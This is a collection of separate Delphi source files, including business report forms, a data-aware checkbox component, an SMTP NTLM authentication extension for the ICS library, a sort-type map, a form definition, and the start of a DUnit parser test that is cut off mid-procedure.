Value: String); begin Fdescricao := Value; end; procedure TSituacao.BuscaSituacoes(var quSituacoes : TFDQuery); begin try quSituacoes.Close; quSituacoes.SQL.Clear; quSituacoes.SQL.Add('SELECT SUBSTR(''00''||CODIGO, -2) AS CODIGO, DESCRICAO'); quSituacoes.SQL.Add('FROM SITUACOES'); quSituacoes.SQL.Add('ORDER BY CODIGO'); quSituacoes.Open; except on e:Exception do raise Exception.Create(e.Message); end; end; end.
unit ufrmKartuAR; interface uses Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics, Vcl.Controls, Vcl.Forms, Vcl.Dialogs, ufrmDefaultLaporan, cxGraphics, cxControls, cxLookAndFeels, cxLookAndFeelPainters, dxBarBuiltInMenu, Vcl.Menus, cxContainer, cxEdit, cxStyles, cxCustomData, cxFilter, cxData, cxDataStorage, cxNavigator, Data.DB, cxDBData, System.ImageList, Vcl.ImgList, Datasnap.DBClient, Datasnap.Provider, cxGridCustomTableView, cxGridTableView, cxGridDBTableView, cxGrid, System.Actions, Vcl.ActnList, cxCheckBox, cxGridLevel, cxClasses, cxGridCustomView, cxTextEdit, cxMaskEdit, cxDropDownEdit, cxLookupEdit, cxDBLookupEdit, cxDBExtLookupComboBox, Vcl.StdCtrls, cxButtons, Vcl.ComCtrls, Vcl.ExtCtrls, cxPC, dxStatusBar, uDBUtils, ClientModule, uAppUtils, uSupplier, uModel, Data.FireDACJSONReflect, uModelHelper,uDMReport, cxCurrencyEdit; type TfrmKartuAR = class(TfrmDefaultLaporan) cbbCustomer: TcxExtLookupComboBox; lblCustomer: TLabel; pnlfOOTER: TPanel; lblTotal: TLabel; edtOTAL: TcxCurrencyEdit; lblNoAR: TLabel; edNoAR: TcxTextEdit; procedure ActionRefreshExecute(Sender: TObject); procedure FormCreate(Sender: TObject); private FCDSS: TFDJSONDataSets; function GetNoAR: string; procedure InisialisasiCBBSupplier; { Private declarations } public procedure CetakSlip; override; { Public declarations } end; var frmKartuAR: TfrmKartuAR; implementation {$R *.dfm} procedure TfrmKartuAR.ActionRefreshExecute(Sender: TObject); var dTotal: double; lCustomer: TSupplier; lDS: TClientDataSet; lCabang: TCabang; begin inherited; lCustomer := TSupplier.CreateID(cbbCustomer.EditValue); lCabang := TCabang.CreateID(cbbCabang.EditValue); FCDSS := ClientDataModule.ServerLaporanClient.LaporanKarAR(dtpAwal.Date, dtpAkhir.Date,lCustomer, lCabang, GetNoAR); lDS := TDBUtils.DSToCDS(TDataSet(TFDJSONDataSetsReader.GetListValue(FCDSS, 1)), Self); cxGridDBTableOverview.SetDataset(lDS, True); cxGridDBTableOverview.ApplyBestFit(); cxGridDBTableOverview.SetVisibleColumns(['urutan','PERIODEAWAL','PERIODEAKHIR','CABANG','CUSTOMER'], False); dTotal := 0; while not lDS.Eof do begin dTotal := dTotal + lDS.FieldByName('masuk').AsFloat - lDS.FieldByName('keluar').AsFloat; lDS.Next; end; edtOTAL.Value := dTotal; end; procedure TfrmKartuAR.CetakSlip; var lCustomer: TSupplier; lCabang: TCabang; begin inherited; lCustomer := TSupplier.CreateID(cbbCustomer.EditValue); lCabang := TCabang.CreateID(cbbCabang.EditValue); FCDSS := ClientDataModule.ServerLaporanClient.LaporanKarAR(dtpAwal.Date, dtpAkhir.Date,lCustomer, lCabang,GetNoAR); with dmReport do begin AddReportVariable('UserCetak', UserAplikasi.UserName); AddReportVariable('NoBukti', GetNoAR); ExecuteReport( 'Reports/Lap_KarAR' , FCDSS ); end; end; procedure TfrmKartuAR.FormCreate(Sender: TObject); begin inherited; InisialisasiCBBSupplier; cbbCabang.EditValue := ClientDataModule.Cabang.ID; end; function TfrmKartuAR.GetNoAR: string; begin if Trim(edNoAR.Text) = '' then Result := 'XXX' else Result := Trim(edNoAR.Text); end; procedure TfrmKartuAR.InisialisasiCBBSupplier; var lCDSSalesman: TClientDataSet; sSQL: string; begin sSQL := 'select Nama,Kode,ID from TSupplier'; lCDSSalesman := TDBUtils.OpenDataset(sSQL); cbbCustomer.Properties.LoadFromCDS(lCDSSalesman,'ID','Nama',['ID'],Self); cbbCustomer.Properties.SetMultiPurposeLookup; end; end.
{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * Author: Shumkin Alexey Object: TSslSmtpNTLMCli class adds full NTLM support to TSslSmtpCli Creation: 08 April 2016 Version: 1.0.1 EMail: http://github.com/ashumkin Alex.Crezoff@gmail.com Support: Legal issues: Copyright (C) 2016 by Shumkin Alexey <Alex.Crezoff@gmail.com> This software is provided 'as-is', without any express or implied warranty. In no event will the author be held liable for any damages arising from the use of this software. Permission is granted to anyone to use this software for any purpose, including commercial applications, and to alter it and redistribute it freely, subject to the following restrictions: 1. The origin of this software must not be misrepresented, you must not claim that you wrote the original software. If you use this software in a product, an acknowledgment in the product documentation would be appreciated but is not required. 2. Altered source versions must be plainly marked as such, and must not be misrepresented as being the original software. 3. This notice may not be removed or altered from any source distribution. 4. You must register this software by sending a picture postcard to the author. Use a nice stamp and mention your name, street address, EMail address and any comment you like to say. Feb 23, 2016 - Added TNtlmAuthSession2 and TSslSmtpNTLMCli classes * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *} {$IFNDEF ICS_INCLUDE_MODE} unit OverbyteIcsSmtpNTLMProt; {$ENDIF} interface {$B-} { Enable partial boolean evaluation } {$T-} { Untyped pointers } {$X+} { Enable extended syntax } {$H+} { Use long strings } {$J+} { Allow typed constant to be modified } {$I Include\OverbyteIcsDefs.inc} {$IFDEF COMPILER14_UP} {$IFDEF NO_EXTENDED_RTTI} {$RTTI EXPLICIT METHODS([]) FIELDS([]) PROPERTIES([])} {$ENDIF} {$ENDIF} {$IFNDEF COMPILER7_UP} Bomb = 'No support for ancient compiler'; {$ENDIF} {$IFDEF COMPILER12_UP} { These are usefull for debugging !} {$WARN IMPLICIT_STRING_CAST ON} {$WARN IMPLICIT_STRING_CAST_LOSS ON} {$WARN EXPLICIT_STRING_CAST OFF} {$WARN EXPLICIT_STRING_CAST_LOSS OFF} {$ENDIF} {$WARN SYMBOL_PLATFORM OFF} {$WARN SYMBOL_LIBRARY OFF} {$WARN SYMBOL_DEPRECATED OFF} {$DEFINE USE_BUFFERED_STREAM} {$IFDEF BCB} {$ObjExportAll On} {$ENDIF} uses {$IFDEF MSWINDOWS} {$IFDEF RTL_NAMESPACES}Winapi.Windows{$ELSE}Windows{$ENDIF}, {$IFDEF RTL_NAMESPACES}Winapi.Messages{$ELSE}Messages{$ENDIF}, {$ENDIF} {$IFDEF RTL_NAMESPACES}System.SysUtils{$ELSE}SysUtils{$ENDIF}, {$IFDEF RTL_NAMESPACES}System.Classes{$ELSE}Classes{$ENDIF}, OverbyteIcsNtlmMsgs, OverbyteIcsNtlmSsp, OverbyteIcsSmtpProt; type TNtlmAuthSession2 = class(TNtlmAuthSession) protected FOwner: TSslSmtpCli; function NtlmGenMessage1(const AHost, ADomain: string; ALmCompatLevel: Integer): Boolean; function NtlmGenMessage3(const AMessageType2, ADomain, AHost, AUsername: string; NtlmMsg2Info : TNTLM_Msg2_Info; ACodePage: Integer; ALmCompatLevel: Integer): Boolean; public procedure AfterConstruction; override; end; TSslSmtpNTLMCli = class(TSslSmtpCli) // define USE_SSL if not found TSslSmtpCli protected FNtlmAuth: TNtlmAuthSession2; FUseNTLMWithPassword: Boolean; procedure AuthNextNtlm; procedure DoAuthNtlm; override; function NtlmGetMessage1(const AHost, ADomain: string; ALmCompatLevel: Integer = 0): string; function NtlmGetMessage3(const AMessageType2, ADomain, AHost, AUsername: string; NtlmMsg2Info : TNTLM_Msg2_Info; ACodePage: Integer; ALmCompatLevel: Integer = 0): string; public constructor Create(AOwner : TComponent); override; procedure BeforeDestruction; override; property UseNTLMWithPassword: Boolean read FUseNTLMWithPassword write FUseNTLMWithPassword; end; implementation uses OverbyteIcsMimeUtils, OverbyteIcsSspi; { TNtlmAuthSession2 } procedure TNtlmAuthSession2.AfterConstruction; begin inherited; FOwner := nil; end; function TNtlmAuthSession2.NtlmGenMessage1(const AHost, ADomain: string; ALmCompatLevel: Integer): Boolean; var Sec : TSecurityStatus; Lifetime : LARGE_INTEGER; OutBuffDesc : TSecBufferDesc; OutSecBuff : TSecBuffer; ContextAttr : Cardinal; begin try CleanupLogonSession; {$IFNDEF UNICODE} Sec := FPSFT^.AcquireCredentialsHandleA(nil, NTLMSP_NAME_A, SECPKG_CRED_OUTBOUND, nil, nil, nil, nil, FHCred, Lifetime); {$ELSE} Sec := FPSFT^.AcquireCredentialsHandleW(nil, NTLMSP_NAME, SECPKG_CRED_OUTBOUND, nil, nil, nil, nil, FHCred, Lifetime); {$ENDIF} if Sec < 0 then begin FAuthError := Sec; {$IFDEF DEBUG_EXCEPTIONS} raise Exception.CreateFmt('AcquireCredentials failed 0x%x', [Sec]); {$ELSE} Result := False; FState := lsDoneErr; Exit; {$ENDIF} end; FHaveCredHandle := TRUE; // prepare output buffer OutBuffDesc.ulVersion := SECBUFFER_VERSION; OutBuffDesc.cBuffers := 1; OutBuffDesc.pBuffers := @OutSecBuff; OutSecBuff.cbBuffer := OverbyteIcsNtlmSsp.cbMaxMessage; OutSecBuff.BufferType := SECBUFFER_TOKEN; OutSecBuff.pvBuffer := nil; Sec := FPSFT^.{$IFDEF UNICODE}InitializeSecurityContextW{$ELSE}InitializeSecurityContextA{$ENDIF}(@FHCred, nil, '', 0, 0, SECURITY_NATIVE_DREP, nil, 0, @FHCtx, @OutBuffDesc, ContextAttr, Lifetime); if Sec < 0 then begin FAuthError := Sec; {$IFDEF DEBUG_EXCEPTIONS} raise Exception.CreateFmt('Init context failed: 0x%x (%0:d)', [Sec]); {$ELSE} Result := False; FState := lsDoneErr; Exit; {$ENDIF} end; FHaveCtxHandle := TRUE; if(Sec = SEC_I_COMPLETE_NEEDED) or (Sec = SEC_I_COMPLETE_AND_CONTINUE) then begin if Assigned(FPSFT^.CompleteAuthToken) then begin Sec := FPSFT^.CompleteAuthToken(@FHCtx, @OutBuffDesc); if Sec < 0 then begin FAuthError := Sec; {$IFDEF DEBUG_EXCEPTIONS} raise Exception.CreateFmt('Complete failed: 0x%x', [Sec]); {$ELSE} Result := False; FState := lsDoneErr; Exit; {$ENDIF} end; end else begin {$IFDEF DEBUG_EXCEPTIONS} raise Exception.Create('CompleteAuthToken not supported.'); {$ELSE} Result := False; FState := lsDoneErr; Exit; {$ENDIF} end; end; if (Sec <> SEC_I_CONTINUE_NEEDED) and (Sec <> SEC_I_COMPLETE_AND_CONTINUE) then FState := lsDoneOK else begin FState := lsInAuth; SetLength(FNtlmMessage, OutSecBuff.cbBuffer); System.Move(OutSecBuff.pvBuffer^, FNtlmMessage[1], OutSecBuff.cbBuffer); FNtlmMessage := Base64Encode(FNtlmMessage); end; Result := True; except on E: Exception do begin FState := lsDoneErr; Result := False; FOwner.OnResponse(FOwner, Format('Error: %s: %s', [E.Message, AuthErrorDesc])); end; end end; function TNtlmAuthSession2.NtlmGenMessage3(const AMessageType2, ADomain, AHost, AUsername: string; NtlmMsg2Info : TNTLM_Msg2_Info; ACodePage: Integer; ALmCompatLevel: Integer): Boolean; var Sec : TSecurityStatus; Lifetime : LARGE_INTEGER; InBuffDesc : TSecBufferDesc; OutBuffDesc : TSecBufferDesc; InSecBuff : TSecBuffer; OutSecBuff : TSecBuffer; ContextAttr : Cardinal; pHCtx : PCtxtHandle; begin try Result := False; if not FHaveCredHandle and not FHaveCtxHandle and (FState <> lsInAuth) then begin FOwner.OnResponse(FOwner, Format('FHaveCredHandle: %d; %FHaveCtxHandle: %d; FState: %d', [Ord(FHaveCredHandle), Ord(FHaveCtxHandle), Ord(FState)])); Exit; end; pHCtx := @FHCtx; InBuffDesc.ulVersion := SECBUFFER_VERSION; InBuffDesc.cBuffers := 1; InBuffDesc.pBuffers := @InSecBuff; InSecBuff.cbBuffer := OverbyteIcsNtlmSsp.cbMaxMessage; InSecBuff.BufferType := SECBUFFER_TOKEN; InSecBuff.pvBuffer := PChar(AMessageType2); OutBuffDesc.ulVersion := SECBUFFER_VERSION; OutBuffDesc.cBuffers := 1; OutBuffDesc.pBuffers := @OutSecBuff; OutSecBuff.cbBuffer := OverbyteIcsNtlmSsp.cbMaxMessage; OutSecBuff.BufferType := SECBUFFER_TOKEN; OutSecBuff.pvBuffer := nil; Sec := FPSFT^.{$IFDEF UNICODE}InitializeSecurityContextW{$ELSE}InitializeSecurityContextA{$ENDIF}(@FHCred, pHCtx, '', 0, 0, SECURITY_NATIVE_DREP, @InBuffDesc, 0, @FHCtx, @OutBuffDesc, ContextAttr, Lifetime); if Sec < 0 then begin FAuthError := Sec; {$IFDEF DEBUG_EXCEPTIONS} raise Exception.CreateFmt('Init context failed: 0x%x', [Sec]); {$ELSE} FState := lsDoneErr; Exit; {$ENDIF} end; FHaveCtxHandle := TRUE; if(Sec = SEC_I_COMPLETE_NEEDED) or (Sec = SEC_I_COMPLETE_AND_CONTINUE) then begin if Assigned(FPSFT^.CompleteAuthToken) then begin Sec := FPSFT^.CompleteAuthToken(@FHCtx, @OutBuffDesc); if Sec < 0 then begin FAuthError := Sec; {$IFDEF DEBUG_EXCEPTIONS} raise Exception.CreateFmt('Complete failed: 0x%x', [Sec]); {$ELSE} FState := lsDoneErr; Exit; {$ENDIF} end; end else begin {$IFDEF DEBUG_EXCEPTIONS} raise Exception.Create('CompleteAuthToken not supported.'); {$ELSE} FState := lsDoneErr; Exit; {$ENDIF} end; end; FState := lsDoneOK; SetLength(FNtlmMessage, OutSecBuff.cbBuffer); System.Move(OutSecBuff.pvBuffer^, FNtlmMessage[1], OutSecBuff.cbBuffer); FNtlmMessage := Base64Encode(FNtlmMessage); Result := True; except on E: Exception do begin FState := lsDoneErr; Result := False; FOwner.OnResponse(FOwner, Format('Error: %s: %s', [E.Message, AuthErrorDesc])); end; end end; { TSslSmtpNTLMCli } procedure TSslSmtpNTLMCli.AuthNextNtlm; var NtlmMsg2Info : TNTLM_Msg2_Info; NtlmMsg3 : String; LDomain, LUsername: string; begin if FRequestResult <> 0 then begin if (FAuthType = smtpAuthAutoSelect) then begin { We fall back to AUTH CRAM-MD5 and see whether we succeed. } if FRequestResult = 504 then begin FState := smtpInternalReady; ExecAsync(smtpAuth, 'AUTH CRAM-MD5', [334], AuthNextCramMD5); end else begin FErrorMessage := '500 Authentication Type could not be determined.'; TriggerRequestDone(FRequestResult); end; end else TriggerRequestDone(FRequestResult); Exit; end; if (Length(FLastResponse) < 5) then begin FLastResponse := '500 Malformed NtlmMsg2: ' + FLastResponse; SetErrorMessage; TriggerRequestDone(500); Exit; end; NtlmMsg2Info := NtlmGetMessage2(Copy(FLastResponse, 5, MaxInt)); NtlmParseUserCode(FUsername, LDomain, LUsername); NtlmMsg3 := Self.NtlmGetMessage3(Copy(FLastResponse, 5, MaxInt), LDomain, '', // the Host param seems to be ignored LUsername, NtlmMsg2Info, { V7.39 } CP_ACP, FLmCompatLevel); { V7.39 } FState := smtpInternalReady; ExecAsync(smtpAuth, NtlmMsg3, [235], nil); end; procedure TSslSmtpNTLMCli.BeforeDestruction; begin FreeAndNil(FNtlmAuth); inherited; end; constructor TSslSmtpNTLMCli.Create(AOwner: TComponent); begin inherited; FNtlmAuth := nil; // use user:password by default FUseNTLMWithPassword := True; end; procedure TSslSmtpNTLMCli.DoAuthNtlm; var s: string; begin s := EmptyStr; if not FUseNTLMWithPassword then begin s := Self.NtlmGetMessage1('', '', FLmCompatLevel); FUseNTLMWithPassword := s = EmptyStr; if FUseNTLMWithPassword then TriggerResponse('NtlmGenMessage1 failed on a client?! Fallback to user:password'); end; if FUseNTLMWithPassword then inherited DoAuthNtlm else ExecAsync(smtpAuth, 'AUTH NTLM ' + s, [334], AuthNextNtlm) end; function TSslSmtpNTLMCli.NtlmGetMessage1(const AHost, ADomain: string; ALmCompatLevel: Integer): string; begin Result := EmptyStr; if not Assigned(FNtlmAuth) then begin FNtlmAuth := TNtlmAuthSession2.Create; FNtlmAuth.FOwner := Self; end; TriggerResponse('FNtlmAuth.NtlmGenMessage1'); if FNtlmAuth.NtlmGenMessage1(AHost, ADomain, ALmCompatLevel) then Result := FNtlmAuth.NtlmMessage else TriggerResponse('FNtlmAuth.NtlmGenMessage1: NO!'); end; function TSslSmtpNTLMCli.NtlmGetMessage3(const AMessageType2, ADomain, AHost, AUsername: string; NtlmMsg2Info: TNTLM_Msg2_Info; ACodePage, ALmCompatLevel: Integer): string; begin Result := EmptyStr; Assert(Assigned(FNtlmAuth)); TriggerResponse('FNtlmAuth.NtlmGenMessage3'); if FNtlmAuth.NtlmGenMessage3(Base64Decode(AMessageType2), ADomain, AHost, AUsername, NtlmMsg2Info, ACodePage, ALmCompatLevel) then Result := FNtlmAuth.NtlmMessage else TriggerResponse('FNtlmAuth.NtlmGenMessage3: NO!'); end; end.
unit nsListSortTypeMap; {* реализация мапы "внутри системная строка языка"-"число - ID языка на адаптере"} {$Include nsDefine.inc } interface uses Classes, l3Interfaces, l3BaseWithID, l3ValueMap, l3Types, bsTypes, BaseTypesUnit, vcmExternalInterfaces, vcmInterfaces, L10nInterfaces ; const cDefaultListSortTypes = [ST_PRIORITY, ST_CREATE_DATE, ST_LAST_EDIT_DATE]; type TnsListSortTypeMap = class(Tl3ValueMap, InsIntegerValueMap, InsStringsSource) private f_ValidSortTypes: TbsValidSortTypes; private // Il3IntegerValueMap function DisplayNameToValue(const aDisplayName: Il3CString): Integer; function ValueToDisplayName(aValue: Integer): Il3CString; // InsStringsSource procedure FillStrings(const aStrings: IvcmStrings); protected procedure DoGetDisplayNames(const aList: Il3StringsEx); override; function GetMapSize: Integer; override; public constructor Create(aValidValues: TbsValidSortTypes = cDefaultListSortTypes); reintroduce; class function Make(aValidValues: TbsValidSortTypes = cDefaultListSortTypes): InsIntegerValueMap; reintroduce; end;//TnsListSortTypeMap implementation uses l3String, vcmBase, nsTypes, nsValueMapsIDs, StdRes ; Const c_ListSortTypeMap: array [TbsSortType] of PvcmStringID = ( @str_list_sort_type_JurPower, // ST_PRIORITY @str_list_sort_type_PublishDate, // ST_CREATE_DATE @str_list_sort_type_ChangeDate, // ST_LAST_EDIT_DATE @str_list_sort_type_NotSorted, // ST_NOT_SORTED @str_list_sort_type_Relevance // ST_RELEVANCE ); { TnsListSortTypeMap } constructor TnsListSortTypeMap.Create(aValidValues: TbsValidSortTypes); begin inherited Create(imap_pi_List_SortType); f_ValidSortTypes := aValidValues; end; function TnsListSortTypeMap.DisplayNameToValue(const aDisplayName: Il3CString): Integer; {-} var l_Index: TbsSortType; begin for l_Index := Low(TbsSortType) to High(TbsSortType) do if (l_Index in f_ValidSortTypes) and l3Same(aDisplayName, vcmCStr(c_ListSortTypeMap[l_Index]^)) then begin Result := Ord(l_Index); exit; end;//l_Index in f_ValidSortTypes if f_ValidSortTypes = [] then Result := Ord(ST_NOT_SORTED); raise El3ValueMapValueNotFound.CreateFmt('Display name %s not found in Map %d', [nsEStr(aDisplayName),rMapID.rID]); end; procedure TnsListSortTypeMap.FillStrings(const aStrings: IvcmStrings); var l_Index: TbsSortType; begin aStrings.Clear; for l_Index := Low(TbsSortType) To High(TbsSortType) Do if l_Index in f_ValidSortTypes then aStrings.Add(vcmCStr(c_ListSortTypeMap[l_Index]^)); end; procedure TnsListSortTypeMap.DoGetDisplayNames(const aList: Il3StringsEx); var l_Index: TbsSortType; begin inherited; for l_Index := Low(TbsSortType) To High(TbsSortType) Do if l_Index in f_ValidSortTypes then aList.Add(vcmCStr(c_ListSortTypeMap[l_Index]^)); end; class function TnsListSortTypeMap.Make( aValidValues: TbsValidSortTypes): InsIntegerValueMap; var l_Map: TnsListSortTypeMap; begin l_Map := Create(aValidValues); try Result := l_Map; finally vcmFree(l_Map); end; end; function TnsListSortTypeMap.GetMapSize: Integer; var l_Index: TbsSortType; begin Result := 0; for l_Index := Low(TbsSortType) To High(TbsSortType) Do if l_Index in f_ValidSortTypes then Inc(Result); end; function TnsListSortTypeMap.ValueToDisplayName(aValue: Integer): Il3CString; begin if (f_ValidSortTypes = []) and (aValue = Ord(ST_NOT_SORTED)) then Result := nil else begin if (aValue<ord(Low(TbsSortType))) or (aValue>ord(High(TbsSortType))) or (not (TbsSortType(aValue) in f_ValidSortTypes)) then raise El3ValueMapValueNotFound.CreateFmt('Value %d not found in Map %s',[aValue,rMapID.rName]); Result := vcmCStr(c_ListSortTypeMap[TbsSortType(aValue)]^); end; end; end.
unit dcCheckBox; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, dbctrls, datacontroller, db,sCheckBox; type TdcCheckBox = class(TsCheckBox) private Fclearing: boolean; procedure Setclearing(const Value: boolean); function GetDataBufIndex: integer; procedure SetDataBufIndex(const Value: integer); private { Private declarations } fdcLink : TdcLink; FValueUnChecked: string; FValueChecked: string; procedure SetValueChecked(const Value: string); procedure SetValueUnChecked(const Value: string); property clearing:boolean read Fclearing write Setclearing; protected { Protected declarations } // std data awareness function GetDataSource:TDataSource; procedure SetDataSource(value:Tdatasource); function GetDataField:string; procedure SetDataField(value:string); // data controller function GetDataController:TDataController; procedure SetDataController(value:TDataController); procedure ReadData(sender:TObject); procedure WriteData(sender:TObject); procedure ClearData(sender:TObject); procedure Click;override; public { Public declarations } constructor Create(AOwner:Tcomponent);override; destructor Destroy;override; published { Published declarations } property DataController : TDataController read GetDataController write setDataController; property DataField : String read GetDataField write SetDataField; property DataSource : TDataSource read getDataSource write SetDatasource; property DataBufIndex:integer read GetDataBufIndex write SetDataBufIndex; property ValueChecked:string read FValueChecked write SetValueChecked; property ValueUnChecked:string read FValueUnChecked write SetValueUnChecked; end; procedure Register; implementation function strtobool(s:string):boolean; begin if trim(s) = '' then result := false else begin if uppercase(copy(trim(s),1,1)) = 'T' then result := true else result := false; end; end; constructor TdcCheckBox.Create(AOwner:Tcomponent); begin inherited; fdclink := tdclink.create(self); fdclink.OnReadData := ReadData; fdclink.OnWriteData := WriteData; fdclink.OnClearData := ClearData; ValueChecked := 'T'; ValueUnChecked := 'F'; end; destructor TdcCheckBox.Destroy; begin fdclink.Free; inherited; end; procedure TdcCheckBox.SetDataController(value:TDataController); begin fdcLink.datacontroller := value; end; function TdcCheckBox.GetDataController:TDataController; begin result := fdcLink.DataController; end; procedure TdcCheckBox.SetDataSource(value:TDataSource); begin end; function TdcCheckBox.GetDataField:string; begin result := fdclink.FieldName; end; function TdcCheckBox.GetDataSource:TDataSource; begin result := fdclink.DataSource; end; procedure TdcCheckBox.SetDataField(value:string); begin fdclink.FieldName := value; end; procedure TdcCheckBox.ReadData; begin if fdclink.DataController <> nil then begin if (DataBufIndex = 0) and (DataField <> '') then checked := fdclink.DataController.dcStrings.BoolVal[DataField] else begin if assigned(fdclink.datacontroller.databuf) then begin case fdclink.datacontroller.databuf.FieldType(DatabufIndex) of ftString : checked := fdclink.datacontroller.databuf.AsString[DatabufIndex] = ValueChecked; ftBoolean : checked := fdclink.datacontroller.databuf.AsBoolean[DatabufIndex]; ftFloat, ftInteger : checked := datacontroller.databuf.AsInt[DatabufIndex] <> 0; end; end; end; end else checked := false; end; procedure TdcCheckBox.WriteData; begin if assigned(fdclink.DataController) then begin if (DataBufIndex = 0) and (DataField <> '') then fdclink.DataController.dcStrings.BoolVal[DataField] := checked else begin if assigned(fdclink.datacontroller.databuf) then begin case fdclink.datacontroller.databuf.FieldType(DatabufIndex) of ftString : if checked then fdclink.datacontroller.databuf.AsString[DatabufIndex] := ValueChecked else fdclink.datacontroller.databuf.AsString[DatabufIndex] := ValueUnChecked; ftBoolean : fdclink.datacontroller.databuf.AsBoolean[DatabufIndex] := checked; ftFloat, ftInteger : if checked then datacontroller.databuf.AsInt[DatabufIndex] := 1 else datacontroller.databuf.AsInt[DatabufIndex] := 0; end; end; end; end; end; procedure TdcCheckBox.ClearData; begin clearing := true; if fdclink.Field <> nil then checked := strtobool(fdclink.Field.DefaultExpression) else checked := false; clearing := false; end; procedure Register; begin RegisterComponents('FFS Data Entry', [TdcCheckBox]); end; procedure TdcCheckBox.Click; begin if datacontroller <> nil then begin if datacontroller.ReadOnly then exit; if not clearing then fdclink.BeginEdit; end; inherited; end; procedure TdcCheckBox.SetValueChecked(const Value: string); begin if Value > '' then FValueChecked := copy(Value,1,1); end; procedure TdcCheckBox.SetValueUnChecked(const Value: string); begin if Value > '' then FValueUnChecked := copy(Value,1,1); end; procedure TdcCheckBox.Setclearing(const Value: boolean); begin Fclearing := Value; end; function TdcCheckBox.GetDataBufIndex:integer; begin result := 0; if assigned(fdclink.Datacontroller) then if assigned(fdclink.datacontroller.databuf) then result := fdclink.datacontroller.databuf.FieldNameToIndex(fdclink.FieldName); end; procedure TdcCheckBox.SetDataBufIndex(const Value: integer); begin end; end.
object formNumeroOC: TformNumeroOC Left = 192 Top = 107 BorderStyle = bsDialog Caption = 'Números de Ordens de Compras' ClientHeight = 273 ClientWidth = 265 Color = clBtnFace Font.Charset = DEFAULT_CHARSET Font.Color = clWindowText Font.Height = -11 Font.Name = 'MS Sans Serif' Font.Style = [] OldCreateOrder = False Position = poScreenCenter OnClose = FormClose OnShow = FormShow PixelsPerInch = 96 TextHeight = 13 object btnExcluir: TSpeedButton Left = 80 Top = 224 Width = 49 Height = 41 Hint = '|Exclui a ordem de compra selecionada.' Caption = 'Excluir' Flat = True Glyph.Data = { 76010000424D7601000000000000760000002800000020000000100000000100 04000000000000010000120B0000120B00001000000000000000000000000000 800000800000008080008000000080008000808000007F7F7F00BFBFBF000000 FF0000FF000000FFFF00FF000000FF00FF00FFFF0000FFFFFF00333000000000 3333333777777777F3333330F777777033333337F3F3F3F7F3333330F0808070 33333337F7F7F7F7F3333330F080707033333337F7F7F7F7F3333330F0808070 33333337F7F7F7F7F3333330F080707033333337F7F7F7F7F3333330F0808070 333333F7F7F7F7F7F3F33030F080707030333737F7F7F7F7F7333300F0808070 03333377F7F7F7F773333330F080707033333337F7F7F7F7F333333070707070 33333337F7F7F7F7FF3333000000000003333377777777777F33330F88877777 0333337FFFFFFFFF7F3333000000000003333377777777777333333330777033 3333333337FFF7F3333333333000003333333333377777333333} Layout = blGlyphTop NumGlyphs = 2 ParentShowHint = False ShowHint = True OnClick = btnExcluirClick end object btnOK: TSpeedButton Left = 128 Top = 224 Width = 49 Height = 41 Hint = '|Processa e imprime o relatório.' Caption = 'OK' Flat = True Glyph.Data = { 76010000424D7601000000000000760000002800000020000000100000000100 04000000000000010000120B0000120B00001000000000000000000000000000 800000800000008080008000000080008000808000007F7F7F00BFBFBF000000 FF0000FF000000FFFF00FF000000FF00FF00FFFF0000FFFFFF00555555555555 555555555555555555555555555555555555555555FF55555555555559055555 55555555577FF5555555555599905555555555557777F5555555555599905555 555555557777FF5555555559999905555555555777777F555555559999990555 5555557777777FF5555557990599905555555777757777F55555790555599055 55557775555777FF5555555555599905555555555557777F5555555555559905 555555555555777FF5555555555559905555555555555777FF55555555555579 05555555555555777FF5555555555557905555555555555777FF555555555555 5990555555555555577755555555555555555555555555555555} Layout = blGlyphTop NumGlyphs = 2 ParentShowHint = False ShowHint = True OnClick = btnOKClick end object grdNumerosOC: TDBGrid Left = 64 Top = 8 Width = 137 Height = 209 DataSource = dmBaseDados.dsNumeroOC TabOrder = 0 TitleFont.Charset = DEFAULT_CHARSET TitleFont.Color = clWindowText TitleFont.Height = -11 TitleFont.Name = 'MS Sans Serif' TitleFont.Style = [] Columns = < item Expanded = False FieldName = 'OrdemCompra' Width = 94 Visible = True end> end end
unit uL3ParserVsNewParser; { Delphi DUnit Test Case ---------------------- This unit contains a skeleton test case class generated by the Test Case Wizard. Modify the generated code to correctly setup and call the methods from the unit being tested. } interface uses TestFramework, System.SysUtils, Vcl.Graphics, Winapi.Windows, System.Variants, Vcl.Dialogs, Vcl.Controls, Vcl.Forms, Winapi.Messages, System.Classes, uMain, l3Parser ,uTypes ; type TTokenRec = record rToken : string; rTokenType : Tl3TokenType; constructor Create(const aToken : string; const aTokenType : Tl3TokenType); function ToString : String; class operator Equal(const Left, Right : TTokenRec) : Boolean; class operator NotEqual(const Left, Right : TTokenRec) : Boolean; end; type TokenArray = array of TTokenRec; type TL3ParserVsTNewParser = class(TTestCase) private f_NotEqualTestCount : Integer; f_ExceptionCount : Integer; function IsArraysEqual(const aArrayLeft, aArrayRight : TokenArray) : Boolean; published procedure First; procedure CheckTokenEquals; procedure CheckTokenNotEquals; procedure CheckArraysIsEqual; procedure CheckArraysIsNotEqual; procedure CheckArraysLengthIsNotEqual; procedure CheckArrayToString; procedure CheckL3Parser; procedure CheckTokenRecToString; end; implementation uses l3Filer ,l3Types ,System.TypInfo ,uNewParser ,l3Chars ,Generics.Collections ,msLog ; function ArrayToString(const aArray : TokenArray) : string; var l_I : integer; begin Result := ''; for l_I := Low(aArray) to High(aArray) do Result := Result + ' ' + aArray[l_I].ToString + ' |'; end; { TL3ParserVsTNewParser } const cParseOptions = [l3_poCheckKeyWords, l3_poCheckInt, //l3_poCheckFloat, //l3_poCheckHex, //l3_poCheckComment, //l3_poCheckStringBracket, l3_poAddDigits2WordChars, l3_poNullAsEOF]; procedure TL3ParserVsTNewParser.First; begin Check(True); end; function TL3ParserVsTNewParser.IsArraysEqual(const aArrayLeft : TokenArray; const aArrayRight: TokenArray): Boolean; var l_i : integer; begin Result := False; if Length(aArrayLeft) <> Length(aArrayRight) then Exit; for l_i := Low(aArrayLeft) to High(aArrayRight) do if (aArrayLeft[l_i] <> aArrayRight[l_i]) then Exit; Result := True; end; procedure TL3ParserVsTNewParser.CheckArraysIsEqual; var l_l3ParserTokens, l_NewParserTokens : TokenArray; begin SetLength(l_l3ParserTokens, Length(l_l3ParserTokens) + 1); 